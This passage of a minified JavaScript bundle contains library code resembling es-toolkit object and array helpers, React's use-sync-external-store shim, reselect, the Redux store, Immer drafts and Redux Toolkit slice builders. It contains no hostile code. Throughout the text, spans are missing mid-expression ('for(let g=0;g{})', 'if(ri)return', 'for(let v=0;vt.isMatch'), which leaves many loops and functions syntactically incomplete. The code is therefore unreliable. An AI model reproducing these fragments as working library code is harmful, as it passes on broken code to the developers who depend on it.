x.length===0;if(x.length===0)return!0;if(h!=null&&h.has(f))return h.get(f)===d;h==null||h.set(f,d);try{for(let g=0;g{})}e.isMatch=n})(kx);var G5={},Cx={},X5={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Object.getOwnPropertySymbols(n).filter(r=>Object.prototype.propertyIsEnumerable.call(n,r))}e.getSymbols=t})(X5);var fd={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n==null?n===void 0?"[object Undefined]":"[object Null]":Object.prototype.toString.call(n)}e.getTag=t})(fd);var Px={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t="[object RegExp]",n="[object String]",r="[object Number]",i="[object Boolean]",a="[object Arguments]",o="[object Symbol]",l="[object Date]",c="[object Map]",u="[object Set]",d="[object Array]",f="[object Function]",m="[object ArrayBuffer]",h="[object Object]",x="[object Error]",g="[object DataView]",y="[object Uint8Array]",v="[object Uint8ClampedArray]",b="[object Uint16Array]",w="[object Uint32Array]",j="[object BigUint64Array]",k="[object Int8Array]",S="[object Int16Array]",N="[object Int32Array]",z="[object BigInt64Array]",O="[object Float32Array]",_="[object Float64Array]";e.argumentsTag=a,e.arrayBufferTag=m,e.arrayTag=d,e.bigInt64ArrayTag=z,e.bigUint64ArrayTag=j,e.booleanTag=i,e.dataViewTag=g,e.dateTag=l,e.errorTag=x,e.float32ArrayTag=O,e.float64ArrayTag=_,e.functionTag=f,e.int16ArrayTag=S,e.int32ArrayTag=N,e.int8ArrayTag=k,e.mapTag=c,e.numberTag=r,e.objectTag=h,e.regexpTag=t,e.setTag=u,e.stringTag=n,e.symbolTag=o,e.uint16ArrayTag=b,e.uint32ArrayTag=w,e.uint8ArrayTag=y,e.uint8ClampedArrayTag=v})(Px);var Z5={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return ArrayBuffer.isView(n)&&!(n instanceof DataView)}e.isTypedArray=t})(Z5);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=X5,n=fd,r=Px,i=Sx,a=Z5;function o(d,f){return l(d,void 0,d,new Map,f)}function l(d,f,m,h=new Map,x=void 0){const g=x==null?void 0:x(d,f,m,h);if(g!==void 0)return g;if(i.isPrimitive(d))return d;if(h.has(d))return h.get(d);if(Array.isArray(d)){const y=new Array(d.length);h.set(d,y);for(let v=0;vt.isMatch(a,i)}e.matches=r})(q5);var Q5={},J5={},ek={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Cx,n=fd,r=Px;function i(a,o){return t.cloneDeepWith(a,(l,c,u,d)=>{const f=o==null?void 0:o(l,c,u,d);if(f!==void 0)return f;if(typeof a=="object"){if(n.getTag(a)===r.objectTag&&typeof a.constructor!="function"){const m={};return d.set(a,m),t.copyProperties(m,a,u,d),m}switch(Object.prototype.toString.call(a)){case r.numberTag:case r.stringTag:case r.booleanTag:{const m=new a.constructor(a==null?void 0:a.valueOf());return t.copyProperties(m,a),m}case r.argumentsTag:{const m={};return t.copyProperties(m,a),m.length=a.length,m[Symbol.iterator]=a[Symbol.iterator],m}default:return}}})}e.cloneDeepWith=i})(ek);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=ek;function n(r){return t.cloneDeepWith(r)}e.cloneDeep=n})(J5);var tk={},Ex={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=/^(?:0|[1-9]\d*)$/;function n(r,i=Number.MAX_SAFE_INTEGER){switch(typeof r){case"number":return Number.isInteger(r)&&r>=0&&r"u"||typeof window.document>"u"||typeof window.document.createElement>"u"?hO:mO;sk.useSyncExternalStore=Ka.useSyncExternalStore!==void 0?Ka.useSyncExternalStore:xO;ak.exports=sk;var vO=ak.exports;/** * @license React * use-sync-external-store-shim/with-selector.production.js * * Copyright (c) Meta Platforms, Inc. and affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */var pd=p,gO=vO;function yO(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var bO=typeof Object.is=="function"?Object.is:yO,wO=gO.useSyncExternalStore,jO=pd.useRef,kO=pd.useEffect,NO=pd.useMemo,SO=pd.useDebugValue;ik.useSyncExternalStoreWithSelector=function(e,t,n,r,i){var a=jO(null);if(a.current===null){var o={hasValue:!1,value:null};a.current=o}else o=a.current;a=NO(function(){function c(h){if(!u){if(u=!0,d=h,h=r(h),i!==void 0&&o.hasValue){var x=o.value;if(i(x,h))return f=x}return f=h}if(x=f,bO(d,h))return x;var g=r(h);return i!==void 0&&i(x,g)?(d=h,x):(d=h,f=g)}var u=!1,d,f,m=n===void 0?null:n;return[function(){return c(t())},m===null?void 0:function(){return c(m())}]},[t,n,r,i]);var l=wO(e,a[0],a[1]);return kO(function(){o.hasValue=!0,o.value=l},[l]),SO(l),l};rk.exports=ik;var zO=rk.exports,Ax=p.createContext(null),CO=e=>e,tt=()=>{var e=p.useContext(Ax);return e?e.store.dispatch:CO},lc=()=>{},PO=()=>lc,EO=(e,t)=>e===t;function xe(e){var t=p.useContext(Ax),n=p.useMemo(()=>t?r=>{if(r!=null)return e(r)}:lc,[t,e]);return zO.useSyncExternalStoreWithSelector(t?t.subscription.addNestedSub:PO,t?t.store.getState:lc,t?t.store.getState:lc,n,EO)}function AO(e,t=`expected a function, instead received ${typeof e}`){if(typeof e!="function")throw new TypeError(t)}function _O(e,t=`expected an object, instead received ${typeof e}`){if(typeof e!="object")throw new TypeError(t)}function OO(e,t="expected all items to be functions, instead received the following types: "){if(!e.every(n=>typeof n=="function")){const n=e.map(r=>typeof r=="function"?`function ${r.name||"unnamed"}()`:typeof r).join(", ");throw new TypeError(`${t}[${n}]`)}}var Yg=e=>Array.isArray(e)?e:[e];function TO(e){const t=Array.isArray(e[0])?e[0]:e;return OO(t,"createSelector expects all input-selectors to be functions, but received the following types: "),t}function MO(e,t){const n=[],{length:r}=e;for(let i=0;i{n=Pl(),o.resetResultsCount()},o.resultsCount=()=>a,o.resetResultsCount=()=>{a=0},o}function RO(e,...t){const n=typeof e=="function"?{memoize:e,memoizeOptions:t}:e,r=(...i)=>{let a=0,o=0,l,c={},u=i.pop();typeof u=="object"&&(c=u,u=i.pop()),AO(u,`createSelector expects an output function after the inputs, but received: [${typeof u}]`);const d={...n,...c},{memoize:f,memoizeOptions:m=[],argsMemoize:h=ok,argsMemoizeOptions:x=[]}=d,g=Yg(m),y=Yg(x),v=TO(i),b=f(function(){return a++,u.apply(null,arguments)},...g),w=h(function(){o++;const k=MO(v,arguments);return l=b.apply(null,k),l},...y);return Object.assign(w,{resultFunc:u,memoizedResultFunc:b,dependencies:v,dependencyRecomputations:()=>o,resetDependencyRecomputations:()=>{o=0},lastResult:()=>l,recomputations:()=>a,resetRecomputations:()=>{a=0},memoize:f,argsMemoize:h})};return Object.assign(r,{withTypes:()=>r}),r}var M=RO(ok),$O=Object.assign((e,t=M)=>{_O(e,`createStructuredSelector expects first argument to be an object where each property is a selector, instead received a ${typeof e}`);const n=Object.keys(e),r=n.map(a=>e[a]);return t(r,(...a)=>a.reduce((o,l,c)=>(o[n[c]]=l,o),{}))},{withTypes:()=>$O}),lk={},ck={},uk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(r){return typeof r=="symbol"?1:r===null?2:r===void 0?3:r!==r?4:0}const n=(r,i,a)=>{if(r!==i){const o=t(r),l=t(i);if(o===l&&o===0){if(ri)return a==="desc"?-1:1}return a==="desc"?l-o:o-l}return 0};e.compareValues=n})(uk);var dk={},_x={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="symbol"||n instanceof Symbol}e.isSymbol=t})(_x);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=_x,n=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,r=/^\w*$/;function i(a,o){return Array.isArray(a)?!1:typeof a=="number"||typeof a=="boolean"||a==null||t.isSymbol(a)?!0:typeof a=="string"&&(r.test(a)||!n.test(a))||o!=null&&Object.hasOwn(o,a)}e.isKey=i})(dk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=uk,n=dk,r=ud;function i(a,o,l,c){if(a==null)return[];l=c?void 0:l,Array.isArray(a)||(a=Object.values(a)),Array.isArray(o)||(o=o==null?[null]:[o]),o.length===0&&(o=[null]),Array.isArray(l)||(l=l==null?[]:[l]),l=l.map(h=>String(h));const u=(h,x)=>{let g=h;for(let y=0;yx==null||h==null?x:typeof h=="object"&&"key"in h?Object.hasOwn(x,h.key)?x[h.key]:u(x,h.path):typeof h=="function"?h(x):Array.isArray(h)?u(x,h):typeof x=="object"?x[h]:x,f=o.map(h=>(Array.isArray(h)&&h.length===1&&(h=h[0]),h==null||typeof h=="function"||Array.isArray(h)||n.isKey(h)?h:{key:h,path:r.toPath(h)}));return a.map(h=>({original:h,criteria:f.map(x=>d(x,h))})).slice().sort((h,x)=>{for(let g=0;gh.original)}e.orderBy=i})(ck);var fk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r=1){const i=[],a=Math.floor(r),o=(l,c)=>{for(let u=0;u1&&r.isIterateeCall(a,o[0],o[1])?o=[]:l>2&&r.isIterateeCall(o[0],o[1],o[2])&&(o=[o[0]]),t.orderBy(a,n.flatten(o),["asc"])}e.sortBy=i})(lk);var BO=lk.sortBy;const md=Cr(BO);var pk=e=>e.legend.settings,FO=e=>e.legend.size,WO=e=>e.legend.payload;M([WO,pk],(e,t)=>{var{itemSorter:n}=t,r=e.flat(1);return n?md(r,n):r});var El=1;function UO(){var e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:[],[t,n]=p.useState({height:0,left:0,top:0,width:0}),r=p.useCallback(i=>{if(i!=null){var a=i.getBoundingClientRect(),o={height:a.height,left:a.left,top:a.top,width:a.width};(Math.abs(o.height-t.height)>El||Math.abs(o.left-t.left)>El||Math.abs(o.top-t.top)>El||Math.abs(o.width-t.width)>El)&&n({height:o.height,left:o.left,top:o.top,width:o.width})}},[t.width,t.height,t.top,t.left,...e]);return[t,r]}function yt(e){return`Minified Redux error #${e}; visit https://redux.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var VO=typeof Symbol=="function"&&Symbol.observable||"@@observable",Xg=VO,Yf=()=>Math.random().toString(36).substring(7).split("").join("."),HO={INIT:`@@redux/INIT${Yf()}`,REPLACE:`@@redux/REPLACE${Yf()}`,PROBE_UNKNOWN_ACTION:()=>`@@redux/PROBE_UNKNOWN_ACTION${Yf()}`},Kc=HO;function Tx(e){if(typeof e!="object"||e===null)return!1;let t=e;for(;Object.getPrototypeOf(t)!==null;)t=Object.getPrototypeOf(t);return Object.getPrototypeOf(e)===t||Object.getPrototypeOf(e)===null}function mk(e,t,n){if(typeof e!="function")throw new Error(yt(2));if(typeof t=="function"&&typeof n=="function"||typeof n=="function"&&typeof arguments[3]=="function")throw new Error(yt(0));if(typeof t=="function"&&typeof n>"u"&&(n=t,t=void 0),typeof n<"u"){if(typeof n!="function")throw new Error(yt(1));return n(mk)(e,t)}let r=e,i=t,a=new Map,o=a,l=0,c=!1;function u(){o===a&&(o=new Map,a.forEach((y,v)=>{o.set(v,y)}))}function d(){if(c)throw new Error(yt(3));return i}function f(y){if(typeof y!="function")throw new Error(yt(4));if(c)throw new Error(yt(5));let v=!0;u();const b=l++;return o.set(b,y),function(){if(v){if(c)throw new Error(yt(6));v=!1,u(),o.delete(b),a=null}}}function m(y){if(!Tx(y))throw new Error(yt(7));if(typeof y.type>"u")throw new Error(yt(8));if(typeof y.type!="string")throw new Error(yt(17));if(c)throw new Error(yt(9));try{c=!0,i=r(i,y)}finally{c=!1}return(a=o).forEach(b=>{b()}),y}function h(y){if(typeof y!="function")throw new Error(yt(10));r=y,m({type:Kc.REPLACE})}function x(){const y=f;return{subscribe(v){if(typeof v!="object"||v===null)throw new Error(yt(11));function b(){const j=v;j.next&&j.next(d())}return b(),{unsubscribe:y(b)}},[Xg](){return this}}}return m({type:Kc.INIT}),{dispatch:m,subscribe:f,getState:d,replaceReducer:h,[Xg]:x}}function KO(e){Object.keys(e).forEach(t=>{const n=e[t];if(typeof n(void 0,{type:Kc.INIT})>"u")throw new Error(yt(12));if(typeof n(void 0,{type:Kc.PROBE_UNKNOWN_ACTION()})>"u")throw new Error(yt(13))})}function hk(e){const t=Object.keys(e),n={};for(let a=0;a"u")throw l&&l.type,new Error(yt(14));u[f]=x,c=c||x!==h}return c=c||r.length!==Object.keys(o).length,c?u:o}}function qc(...e){return e.length===0?t=>t:e.length===1?e[0]:e.reduce((t,n)=>(...r)=>t(n(...r)))}function qO(...e){return t=>(n,r)=>{const i=t(n,r);let a=()=>{throw new Error(yt(15))};const o={getState:i.getState,dispatch:(c,...u)=>a(c,...u)},l=e.map(c=>c(o));return a=qc(...l)(i.dispatch),{...i,dispatch:a}}}function xk(e){return Tx(e)&&"type"in e&&typeof e.type=="string"}var vk=Symbol.for("immer-nothing"),Zg=Symbol.for("immer-draftable"),Lt=Symbol.for("immer-state");function _n(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var en=Object,qa=en.getPrototypeOf,Yc="constructor",hd="prototype",Cm="configurable",Gc="enumerable",cc="writable",zo="value",wr=e=>!!e&&!!e[Lt];function $n(e){var t;return e?gk(e)||vd(e)||!!e[Zg]||!!((t=e[Yc])!=null&&t[Zg])||gd(e)||yd(e):!1}var YO=en[hd][Yc].toString(),Qg=new WeakMap;function gk(e){if(!e||!Mx(e))return!1;const t=qa(e);if(t===null||t===en[hd])return!0;const n=en.hasOwnProperty.call(t,Yc)&&t[Yc];if(n===Object)return!0;if(!pa(n))return!1;let r=Qg.get(n);return r===void 0&&(r=Function.toString.call(n),Qg.set(n,r)),r===YO}function xd(e,t,n=!0){qo(e)===0?(n?Reflect.ownKeys(e):en.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function qo(e){const t=e[Lt];return t?t.type_:vd(e)?1:gd(e)?2:yd(e)?3:0}var Jg=(e,t,n=qo(e))=>n===2?e.has(t):en[hd].hasOwnProperty.call(e,t),Pm=(e,t,n=qo(e))=>n===2?e.get(t):e[t],Xc=(e,t,n,r=qo(e))=>{r===2?e.set(t,n):r===3?e.add(n):e[t]=n};function GO(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}var vd=Array.isArray,gd=e=>e instanceof Map,yd=e=>e instanceof Set,Mx=e=>typeof e=="object",pa=e=>typeof e=="function",Gf=e=>typeof e=="boolean";function XO(e){const t=+e;return Number.isInteger(t)&&String(t)===e}var lr=e=>e.copy_||e.base_,Lx=e=>e.modified_?e.copy_:e.base_;function Em(e,t){if(gd(e))return new Map(e);if(yd(e))return new Set(e);if(vd(e))return Array[hd].slice.call(e);const n=gk(e);if(t===!0||t==="class_only"&&!n){const r=en.getOwnPropertyDescriptors(e);delete r[Lt];let i=Reflect.ownKeys(r);for(let a=0;a1&&en.defineProperties(e,{set:Al,add:Al,clear:Al,delete:Al}),en.freeze(e),t&&xd(e,(n,r)=>{Ix(r,!0)},!1)),e}function ZO(){_n(2)}var Al={[zo]:ZO};function bd(e){return e===null||!Mx(e)?!0:en.isFrozen(e)}var Zc="MapSet",Am="Patches",ey="ArrayMethods",yk={};function Qi(e){const t=yk[e];return t||_n(0,e),t}var ty=e=>!!yk[e],Co,bk=()=>Co,QO=(e,t)=>({drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0,handledSet_:new Set,processedForPatches_:new Set,mapSetPlugin_:ty(Zc)?Qi(Zc):void 0,arrayMethodsPlugin_:ty(ey)?Qi(ey):void 0});function ny(e,t){t&&(e.patchPlugin_=Qi(Am),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function _m(e){Om(e),e.drafts_.forEach(JO),e.drafts_=null}function Om(e){e===Co&&(Co=e.parent_)}var ry=e=>Co=QO(Co,e);function JO(e){const t=e[Lt];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function iy(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];if(e!==void 0&&e!==n){n[Lt].modified_&&(_m(t),_n(4)),$n(e)&&(e=ay(t,e));const{patchPlugin_:i}=t;i&&i.generateReplacementPatches_(n[Lt].base_,e,t)}else e=ay(t,n);return e6(t,e,!0),_m(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==vk?e:void 0}function ay(e,t){if(bd(t))return t;const n=t[Lt];if(!n)return Qc(t,e.handledSet_,e);if(!wd(n,e))return t;if(!n.modified_)return n.base_;if(!n.finalized_){const{callbacks_:r}=n;if(r)for(;r.length>0;)r.pop()(e);kk(n,e)}return n.copy_}function e6(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&Ix(t,n)}function wk(e){e.finalized_=!0,e.scope_.unfinalizedDrafts_--}var wd=(e,t)=>e.scope_===t,t6=[];function jk(e,t,n,r){const i=lr(e),a=e.type_;if(r!==void 0&&Pm(i,r,a)===t){Xc(i,r,n,a);return}if(!e.draftLocations_){const l=e.draftLocations_=new Map;xd(i,(c,u)=>{if(wr(u)){const d=l.get(u)||[];d.push(c),l.set(u,d)}})}const o=e.draftLocations_.get(t)??t6;for(const l of o)Xc(i,l,n,a)}function n6(e,t,n){e.callbacks_.push(function(i){var l;const a=t;if(!a||!wd(a,i))return;(l=i.mapSetPlugin_)==null||l.fixSetContents(a);const o=Lx(a);jk(e,a.draft_??a,o,n),kk(a,i)})}function kk(e,t){var r;if(e.modified_&&!e.finalized_&&(e.type_===3||e.type_===1&&e.allIndicesReassigned_||(((r=e.assigned_)==null?void 0:r.size)??0)>0)){const{patchPlugin_:i}=t;if(i){const a=i.getPath(e);a&&i.generatePatches_(e,a,t)}wk(e)}}function r6(e,t,n){const{scope_:r}=e;if(wr(n)){const i=n[Lt];wd(i,r)&&i.callbacks_.push(function(){uc(e);const o=Lx(i);jk(e,n,o,t)})}else $n(n)&&e.callbacks_.push(function(){const a=lr(e);e.type_===3?a.has(n)&&Qc(n,r.handledSet_,r):Pm(a,t,e.type_)===n&&r.drafts_.length>1&&(e.assigned_.get(t)??!1)===!0&&e.copy_&&Qc(Pm(e.copy_,t,e.type_),r.handledSet_,r)})}function Qc(e,t,n){return!n.immer_.autoFreeze_&&n.unfinalizedDrafts_<1||wr(e)||t.has(e)||!$n(e)||bd(e)||(t.add(e),xd(e,(r,i)=>{if(wr(i)){const a=i[Lt];if(wd(a,n)){const o=Lx(a);Xc(e,r,o,e.type_),wk(a)}}else $n(i)&&Qc(i,t,n)})),e}function i6(e,t){const n=vd(e),r={type_:n?1:0,scope_:t?t.scope_:bk(),modified_:!1,finalized_:!1,assigned_:void 0,parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1,callbacks_:void 0};let i=r,a=Jc;n&&(i=[r],a=Po);const{revoke:o,proxy:l}=Proxy.revocable(i,a);return r.draft_=l,r.revoke_=o,[l,r]}var Jc={get(e,t){if(t===Lt)return e;let n=e.scope_.arrayMethodsPlugin_;const r=e.type_===1&&typeof t=="string";if(r&&n!=null&&n.isArrayOperationMethod(t))return n.createMethodInterceptor(e,t);const i=lr(e);if(!Jg(i,t,e.type_))return a6(e,i,t);const a=i[t];if(e.finalized_||!$n(a)||r&&e.operationMethod&&(n!=null&&n.isMutatingArrayMethod(e.operationMethod))&&XO(t))return a;if(a===Xf(e.base_,t)){uc(e);const o=e.type_===1?+t:t,l=Mm(e.scope_,a,e,o);return e.copy_[o]=l}return a},has(e,t){return t in lr(e)},ownKeys(e){return Reflect.ownKeys(lr(e))},set(e,t,n){const r=Nk(lr(e),t);if(r!=null&&r.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=Xf(lr(e),t),a=i==null?void 0:i[Lt];if(a&&a.base_===n)return e.copy_[t]=n,e.assigned_.set(t,!1),!0;if(GO(n,i)&&(n!==void 0||Jg(e.base_,t,e.type_)))return!0;uc(e),Tm(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_.set(t,!0),r6(e,t,n)),!0},deleteProperty(e,t){return uc(e),Xf(e.base_,t)!==void 0||t in e.base_?(e.assigned_.set(t,!1),Tm(e)):e.assigned_.delete(t),e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=lr(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{[cc]:!0,[Cm]:e.type_!==1||t!=="length",[Gc]:r[Gc],[zo]:n[t]}},defineProperty(){_n(11)},getPrototypeOf(e){return qa(e.base_)},setPrototypeOf(){_n(12)}},Po={};for(let e in Jc){let t=Jc[e];Po[e]=function(){const n=arguments;return n[0]=n[0][0],t.apply(this,n)}}Po.deleteProperty=function(e,t){return Po.set.call(this,e,t,void 0)};Po.set=function(e,t,n){return Jc.set.call(this,e[0],t,n,e[0])};function Xf(e,t){const n=e[Lt];return(n?lr(n):e)[t]}function a6(e,t,n){var i;const r=Nk(t,n);return r?zo in r?r[zo]:(i=r.get)==null?void 0:i.call(e.draft_):void 0}function Nk(e,t){if(!(t in e))return;let n=qa(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=qa(n)}}function Tm(e){e.modified_||(e.modified_=!0,e.parent_&&Tm(e.parent_))}function uc(e){e.copy_||(e.assigned_=new Map,e.copy_=Em(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var s6=class{constructor(t){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!1,this.produce=(n,r,i)=>{if(pa(n)&&!pa(r)){const o=r;r=n;const l=this;return function(u=o,...d){return l.produce(u,f=>r.call(this,f,...d))}}pa(r)||_n(6),i!==void 0&&!pa(i)&&_n(7);let a;if($n(n)){const o=ry(this),l=Mm(o,n,void 0);let c=!0;try{a=r(l),c=!1}finally{c?_m(o):Om(o)}return ny(o,i),iy(a,o)}else if(!n||!Mx(n)){if(a=r(n),a===void 0&&(a=n),a===vk&&(a=void 0),this.autoFreeze_&&Ix(a,!0),i){const o=[],l=[];Qi(Am).generateReplacementPatches_(n,a,{patches_:o,inversePatches_:l}),i(o,l)}return a}else _n(1,n)},this.produceWithPatches=(n,r)=>{if(pa(n))return(l,...c)=>this.produceWithPatches(l,u=>n(u,...c));let i,a;return[this.produce(n,r,(l,c)=>{i=l,a=c}),i,a]},Gf(t==null?void 0:t.autoFreeze)&&this.setAutoFreeze(t.autoFreeze),Gf(t==null?void 0:t.useStrictShallowCopy)&&this.setUseStrictShallowCopy(t.useStrictShallowCopy),Gf(t==null?void 0:t.useStrictIteration)&&this.setUseStrictIteration(t.useStrictIteration)}createDraft(t){$n(t)||_n(8),wr(t)&&(t=In(t));const n=ry(this),r=Mm(n,t,void 0);return r[Lt].isManual_=!0,Om(n),r}finishDraft(t,n){const r=t&&t[Lt];(!r||!r.isManual_)&&_n(9);const{scope_:i}=r;return ny(i,n),iy(void 0,i)}setAutoFreeze(t){this.autoFreeze_=t}setUseStrictShallowCopy(t){this.useStrictShallowCopy_=t}setUseStrictIteration(t){this.useStrictIteration_=t}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(t,n){let r;for(r=n.length-1;r>=0;r--){const a=n[r];if(a.path.length===0&&a.op==="replace"){t=a.value;break}}r>-1&&(n=n.slice(r+1));const i=Qi(Am).applyPatches_;return wr(t)?i(t,n):this.produce(t,a=>i(a,n))}};function Mm(e,t,n,r){const[i,a]=gd(t)?Qi(Zc).proxyMap_(t,n):yd(t)?Qi(Zc).proxySet_(t,n):i6(t,n);return((n==null?void 0:n.scope_)??bk()).drafts_.push(i),a.callbacks_=(n==null?void 0:n.callbacks_)??[],a.key_=r,n&&r!==void 0?n6(n,a,r):a.callbacks_.push(function(c){var d;(d=c.mapSetPlugin_)==null||d.fixSetContents(a);const{patchPlugin_:u}=c;a.modified_&&u&&u.generatePatches_(a,[],c)}),i}function In(e){return wr(e)||_n(10,e),Sk(e)}function Sk(e){if(!$n(e)||bd(e))return e;const t=e[Lt];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=Em(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=Em(e,!0);return xd(n,(i,a)=>{Xc(n,i,Sk(a))},r),t&&(t.finalized_=!1),n}var o6=new s6,zk=o6.produce;function Ck(e){return({dispatch:n,getState:r})=>i=>a=>typeof a=="function"?a(n,r,e):i(a)}var l6=Ck(),c6=Ck,u6=typeof window<"u"&&window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__?window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__:function(){if(arguments.length!==0)return typeof arguments[0]=="object"?qc:qc.apply(null,arguments)};function jn(e,t){function n(...r){if(t){let i=t(...r);if(!i)throw new Error(rn(0));return{type:e,payload:i.payload,..."meta"in i&&{meta:i.meta},..."error"in i&&{error:i.error}}}return{type:e,payload:r[0]}}return n.toString=()=>`${e}`,n.type=e,n.match=r=>xk(r)&&r.type===e,n}var Pk=class Us extends Array{constructor(...t){super(...t),Object.setPrototypeOf(this,Us.prototype)}static get[Symbol.species](){return Us}concat(...t){return super.concat.apply(this,t)}prepend(...t){return t.length===1&&Array.isArray(t[0])?new Us(...t[0].concat(this)):new Us(...t.concat(this))}};function sy(e){return $n(e)?zk(e,()=>{}):e}function _l(e,t,n){return e.has(t)?e.get(t):e.set(t,n(t)).get(t)}function d6(e){return typeof e=="boolean"}var f6=()=>function(t){const{thunk:n=!0,immutableCheck:r=!0,serializableCheck:i=!0,actionCreatorCheck:a=!0}=t??{};let o=new Pk;return n&&(d6(n)?o.push(l6):o.push(c6(n.extraArgument))),o},Ek="RTK_autoBatch",$e=()=>e=>({payload:e,meta:{[Ek]:!0}}),oy=e=>t=>{setTimeout(t,e)},Ak=(e={type:"raf"})=>t=>(...n)=>{const r=t(...n);let i=!0,a=!1,o=!1;const l=new Set,c=e.type==="tick"?queueMicrotask:e.type==="raf"?typeof window<"u"&&window.requestAnimationFrame?window.requestAnimationFrame:oy(10):e.type==="callback"?e.queueNotification:oy(e.timeout),u=()=>{o=!1,a&&(a=!1,l.forEach(d=>d()))};return Object.assign({},r,{subscribe(d){const f=()=>i&&d(),m=r.subscribe(f);return l.add(d),()=>{m(),l.delete(d)}},dispatch(d){var f;try{return i=!((f=d==null?void 0:d.meta)!=null&&f[Ek]),a=!i,a&&(o||(o=!0,c(u))),r.dispatch(d)}finally{i=!0}}})},p6=e=>function(n){const{autoBatch:r=!0}=n??{};let i=new Pk(e);return r&&i.push(Ak(typeof r=="object"?r:void 0)),i};function m6(e){const t=f6(),{reducer:n=void 0,middleware:r,devTools:i=!0,preloadedState:a=void 0,enhancers:o=void 0}=e||{};let l;if(typeof n=="function")l=n;else if(Tx(n))l=hk(n);else throw new Error(rn(1));let c;typeof r=="function"?c=r(t):c=t();let u=qc;i&&(u=u6({trace:!1,...typeof i=="object"&&i}));const d=qO(...c),f=p6(d);let m=typeof o=="function"?o(f):f();const h=u(...m);return mk(l,a,h)}function _k(e){const t={},n=[];let r;const i={addCase(a,o){const l=typeof a=="string"?a:a.type;if(!l)throw new Error(rn(28));if(l in t)throw new Error(rn(29));return t[l]=o,i},addAsyncThunk(a,o){return o.pending&&(t[a.pending.type]=o.pending),o.rejected&&(t[a.rejected.type]=o.rejected),o.fulfilled&&(t[a.fulfilled.type]=o.fulfilled),o.settled&&n.push({matcher:a.settled,reducer:o.settled}),i},addMatcher(a,o){return n.push({matcher:a,reducer:o}),i},addDefaultCase(a){return r=a,i}};return e(i),[t,n,r]}function h6(e){return typeof e=="function"}function x6(e,t){let[n,r,i]=_k(t),a;if(h6(e))a=()=>sy(e());else{const l=sy(e);a=()=>l}function o(l=a(),c){let u=[n[c.type],...r.filter(({matcher:d})=>d(c)).map(({reducer:d})=>d)];return u.filter(d=>!!d).length===0&&(u=[i]),u.reduce((d,f)=>{if(f)if(wr(d)){const h=f(d,c);return h===void 0?d:h}else{if($n(d))return zk(d,m=>f(m,c));{const m=f(d,c);if(m===void 0){if(d===null)return d;throw Error("A case reducer on a non-draftable value must not return undefined")}return m}}return d},l)}return o.getInitialState=a,o}var v6="ModuleSymbhasOwnPr-0123456789ABCDEFGHNRVfgctiUvz_KqYTJkLxpZXIjQW",g6=(e=21)=>{let t="",n=e;for(;n--;)t+=v6[Math.random()*64|0];return t},y6=Symbol.for("rtk-slice-createasyncthunk");function b6(e,t){return`${e}/${t}`}function w6({creators:e}={}){var n;const t=(n=e==null?void 0:e.asyncThunk)==null?void 0:n[y6];return function(i){const{name:a,reducerPath:o=a}=i;if(!a)throw new Error(rn(11));const l=(typeof i.reducers=="function"?i.reducers(k6()):i.reducers)||{},c=Object.keys(l),u={sliceCaseReducersByName:{},sliceCaseReducersByType:{},actionCreators:{},sliceMatchers:[]},d={addCase(j,k){const S=typeof j=="string"?j:j.type;if(!S)throw new Error(rn(12));if(S in u.sliceCaseReducersByType)throw new Error(rn(13));return u.sliceCaseReducersByType[S]=k,d},addMatcher(j,k){return u.sliceMatchers.push({matcher:j,reducer:k}),d},exposeAction(j,k){return u.actionCreators[j]=k,d},exposeCaseReducer(j,k){return u.sliceCaseReducersByName[j]=k,d}};c.forEach(j=>{const k=l[j],S={reducerName:j,type:b6(a,j),createNotation:typeof i.reducers=="function"};S6(k)?C6(S,k,d,t):N6(S,k,d)});function f(){const[j={},k=[],S=void 0]=typeof 